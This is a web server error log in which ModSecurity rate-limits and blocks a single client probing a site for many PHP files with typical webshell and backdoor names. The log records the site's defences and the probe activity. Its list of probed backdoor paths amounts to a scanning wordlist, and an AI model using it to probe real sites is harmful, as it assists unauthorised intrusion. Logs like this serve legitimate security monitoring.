[Mon Apr 27 02:06:15.752084 2026] [:error] [pid 22572:tid 22594] [client 74.248.148.150:29293] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hey.php"] [unique_id "ae5UF9XOViWCFU-pZzBf6wAAAVA"]
[Mon Apr 27 02:06:16.639877 2026] [:error] [pid 8383:tid 8412] [client 74.248.148.150:28644] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hey.php"] [unique_id "ae5UGNFa2S3EsATMdWO2GQAAAA8"]
[Mon Apr 27 02:06:17.358446 2026] [:error] [pid 22572:tid 22583] [client 74.248.148.150:60155] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hey.php"] [unique_id "ae5UGdXOViWCFU-pZzBf7AAAAUU"]
[Mon Apr 27 02:06:17.968875 2026] [:error] [pid 8491:tid 8524] [client 74.248.148.150:26239] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "ae5UGSq7I7e6CJooQM07AQAAANg"]
[Mon Apr 27 02:06:18.636751 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:29273] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "ae5UGtFa2S3EsATMdWO2HgAAABY"]
[Mon Apr 27 02:06:19.400832 2026] [:error] [pid 22573:tid 22620] [client 74.248.148.150:45370] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "ae5UG3B3EmQlD4yKUt89RQAAAY0"]
[Mon Apr 27 02:06:21.082293 2026] [:error] [pid 8383:tid 8404] [client 74.248.148.150:60816] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "ae5UHdFa2S3EsATMdWO2HwAAAAc"]
[Mon Apr 27 02:06:21.738792 2026] [:error] [pid 16515:tid 16527] [client 74.248.148.150:3637] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h.php"] [unique_id "ae5UHVtDrUmgHSvpuLxrwgAAAkk"]
[Mon Apr 27 02:06:22.383192 2026] [:error] [pid 8383:tid 8409] [client 74.248.148.150:65432] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h.php"] [unique_id "ae5UHtFa2S3EsATMdWO2IgAAAAw"]
[Mon Apr 27 02:06:23.003099 2026] [:error] [pid 8383:tid 8412] [client 74.248.148.150:3093] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h.php"] [unique_id "ae5UH9Fa2S3EsATMdWO2JAAAAA8"]
[Mon Apr 27 02:06:23.603848 2026] [:error] [pid 8383:tid 8416] [client 74.248.148.150:3078] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h.php"] [unique_id "ae5UH9Fa2S3EsATMdWO2JwAAABM"]
[Mon Apr 27 02:06:24.150149 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:60109] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdroot.php"] [unique_id "ae5UINFa2S3EsATMdWO2KwAAABY"]
[Mon Apr 27 02:06:24.784524 2026] [:error] [pid 13197:tid 13248] [client 74.248.148.150:3098] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdroot.php"] [unique_id "ae5UIN3kktFKdSxTrBv1kgAAAtA"]
[Mon Apr 27 02:06:25.449358 2026] [:error] [pid 8385:tid 8436] [client 74.248.148.150:49336] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdroot.php"] [unique_id "ae5UITOy7_J84Wx3-oz3HwAAAEw"]
[Mon Apr 27 02:06:26.076750 2026] [:error] [pid 13197:tid 13246] [client 74.248.148.150:52422] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdroot.php"] [unique_id "ae5UIt3kktFKdSxTrBv1lgAAAs4"]
[Mon Apr 27 02:06:26.628382 2026] [:error] [pid 8383:tid 8421] [client 74.248.148.150:49287] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-config.php"] [unique_id "ae5UItFa2S3EsATMdWO2NAAAABg"]
[Mon Apr 27 02:06:27.280315 2026] [:error] [pid 8383:tid 8414] [client 74.248.148.150:3615] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-config.php"] [unique_id "ae5UI9Fa2S3EsATMdWO2NQAAABE"]
[Mon Apr 27 02:06:27.905260 2026] [:error] [pid 13137:tid 13154] [client 74.248.148.150:52448] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-config.php"] [unique_id "ae5UI90RB4J0o4h5neHMlQAAAg0"]
[Mon Apr 27 02:06:28.445394 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:60835] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-config.php"] [unique_id "ae5UJN0RB4J0o4h5neHMmQAAAgw"]
[Mon Apr 27 02:06:29.015281 2026] [:error] [pid 16574:tid 16613] [client 74.248.148.150:45337] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "ae5UJX5MsX8wRQr99nZQ0gAAA0k"]
[Mon Apr 27 02:06:29.599087 2026] [:error] [pid 22572:tid 22591] [client 74.248.148.150:52471] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "ae5UJdXOViWCFU-pZzBf8gAAAU0"]
[Mon Apr 27 02:06:30.178311 2026] [:error] [pid 16574:tid 16635] [client 74.248.148.150:3079] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "ae5UJn5MsX8wRQr99nZQ0wAAA1Q"]
[Mon Apr 27 02:06:30.702761 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:62315] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "ae5UJt0RB4J0o4h5neHMmwAAAhg"]
[Mon Apr 27 02:06:31.299380 2026] [:error] [pid 8390:tid 8465] [client 74.248.148.150:52434] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "ae5UJ4GPtFK_i9p5yxTHgQAAAI4"]
[Mon Apr 27 02:06:31.849965 2026] [:error] [pid 8390:tid 8470] [client 74.248.148.150:65415] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "ae5UJ4GPtFK_i9p5yxTHggAAAJM"]
[Mon Apr 27 02:06:32.445572 2026] [:error] [pid 13197:tid 13236] [client 74.248.148.150:60845] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "ae5UKN3kktFKdSxTrBv1mAAAAsU"]
[Mon Apr 27 02:06:33.053216 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:46821] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/444.php"] [unique_id "ae5UKdFa2S3EsATMdWO2PQAAABY"]
[Mon Apr 27 02:06:33.575869 2026] [:error] [pid 8491:tid 8523] [client 74.248.148.150:3591] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "ae5UKSq7I7e6CJooQM07BAAAANc"]
[Mon Apr 27 02:06:34.126987 2026] [:error] [pid 8385:tid 8444] [client 74.248.148.150:46820] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "ae5UKjOy7_J84Wx3-oz3IQAAAFQ"]
[Mon Apr 27 02:06:34.637753 2026] [:error] [pid 22572:tid 22579] [client 74.248.148.150:45366] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "ae5UKtXOViWCFU-pZzBf9gAAAUE"]
[Mon Apr 27 02:06:35.182665 2026] [:error] [pid 22572:tid 22590] [client 74.248.148.150:46806] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "ae5UK9XOViWCFU-pZzBf-AAAAUw"]
[Mon Apr 27 02:06:35.716373 2026] [:error] [pid 8491:tid 8512] [client 74.248.148.150:34732] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/himu.php"] [unique_id "ae5UKyq7I7e6CJooQM07BQAAAM0"]
[Mon Apr 27 02:06:36.268659 2026] [:error] [pid 22573:tid 22630] [client 74.248.148.150:45336] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/himu.php"] [unique_id "ae5ULHB3EmQlD4yKUt89TQAAAZc"]
[Mon Apr 27 02:06:36.822169 2026] [:error] [pid 13137:tid 13162] [client 74.248.148.150:3585] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/himu.php"] [unique_id "ae5ULN0RB4J0o4h5neHMoQAAAhU"]
[Mon Apr 27 02:06:37.619383 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:65440] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/himu.php"] [unique_id "ae5ULd0RB4J0o4h5neHMpQAAAgw"]
[Mon Apr 27 02:06:38.144059 2026] [:error] [pid 8390:tid 8467] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/ccou.php
[Mon Apr 27 02:06:38.411667 2026] [:error] [pid 8390:tid 8461] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-access.php
[Mon Apr 27 02:06:38.671117 2026] [:error] [pid 8390:tid 8463] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/hans.php
[Mon Apr 27 02:06:38.934556 2026] [:error] [pid 8390:tid 8464] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/lgr.php
[Mon Apr 27 02:06:39.191982 2026] [:error] [pid 8390:tid 8470] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/an7.php
[Mon Apr 27 02:06:39.450022 2026] [:error] [pid 8390:tid 8456] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/file1.php
[Mon Apr 27 02:06:39.719863 2026] [:error] [pid 8390:tid 8453] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/luxe.php
[Mon Apr 27 02:06:39.987842 2026] [:error] [pid 8390:tid 8455] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_ok.php
[Mon Apr 27 02:06:40.613557 2026] [:error] [pid 8390:tid 8468] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/inde.php
[Mon Apr 27 02:06:40.894583 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:45351] File does not exist: /usr/local/apache/htdocs/suspended-page/xtt.php
[Mon Apr 27 02:06:41.166099 2026] [:error] [pid 8390:tid 8454] [client 74.248.148.150:45351] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "ae5UMYGPtFK_i9p5yxTHlgAAAIM"]
[Mon Apr 27 02:06:42.084082 2026] [:error] [pid 22573:tid 22629] [client 74.248.148.150:3625] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "ae5UMnB3EmQlD4yKUt89UAAAAZY"]
[Mon Apr 27 02:06:42.642496 2026] [:error] [pid 8491:tid 8500] [client 74.248.148.150:3084] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "ae5UMiq7I7e6CJooQM07CgAAAME"]
[Mon Apr 27 02:06:43.234146 2026] [:error] [pid 8491:tid 8502] [client 74.248.148.150:60839] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "ae5UMyq7I7e6CJooQM07CwAAAMM"]
[Mon Apr 27 02:06:43.828446 2026] [:error] [pid 8491:tid 8510] [client 74.248.148.150:3599] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae5UMyq7I7e6CJooQM07DQAAAMs"]
[Mon Apr 27 02:06:44.476993 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:56204] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae5UNNFa2S3EsATMdWO2RQAAABU"]
[Mon Apr 27 02:06:44.998802 2026] [:error] [pid 8383:tid 8406] [client 74.248.148.150:62288] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae5UNNFa2S3EsATMdWO2SQAAAAk"]
[Mon Apr 27 02:06:45.541148 2026] [:error] [pid 8383:tid 8413] [client 74.248.148.150:65409] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae5UNdFa2S3EsATMdWO2TAAAABA"]
[Mon Apr 27 02:06:46.127108 2026] [:error] [pid 8385:tid 8447] [client 74.248.148.150:56195] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zicgg.php"] [unique_id "ae5UNjOy7_J84Wx3-oz3IwAAAFc"]
[Mon Apr 27 02:06:46.679345 2026] [:error] [pid 8390:tid 8455] [client 74.248.148.150:45372] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zicgg.php"] [unique_id "ae5UNoGPtFK_i9p5yxTHmwAAAIQ"]
[Mon Apr 27 02:06:47.231848 2026] [:error] [pid 8385:tid 8435] [client 74.248.148.150:52478] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zicgg.php"] [unique_id "ae5UNzOy7_J84Wx3-oz3JAAAAEs"]
[Mon Apr 27 02:06:47.826313 2026] [:error] [pid 8385:tid 8432] [client 74.248.148.150:60096] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zicgg.php"] [unique_id "ae5UNzOy7_J84Wx3-oz3JQAAAEg"]
[Mon Apr 27 02:06:48.343183 2026] [:error] [pid 16515:tid 16530] [client 74.248.148.150:3116] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pouhg.php"] [unique_id "ae5UOFtDrUmgHSvpuLxrygAAAkw"]
[Mon Apr 27 02:06:48.944263 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:29259] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pouhg.php"] [unique_id "ae5UOIGPtFK_i9p5yxTHnAAAAJQ"]
[Mon Apr 27 02:06:49.478938 2026] [:error] [pid 22573:tid 22619] [client 74.248.148.150:3635] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pouhg.php"] [unique_id "ae5UOXB3EmQlD4yKUt89VQAAAYw"]
[Mon Apr 27 02:06:49.994447 2026] [:error] [pid 16515:tid 16527] [client 74.248.148.150:52457] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pouhg.php"] [unique_id "ae5UOVtDrUmgHSvpuLxrzQAAAkk"]
[Mon Apr 27 02:06:50.547683 2026] [:error] [pid 8390:tid 8457] [client 74.248.148.150:28003] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "ae5UOoGPtFK_i9p5yxTHnwAAAIY"]
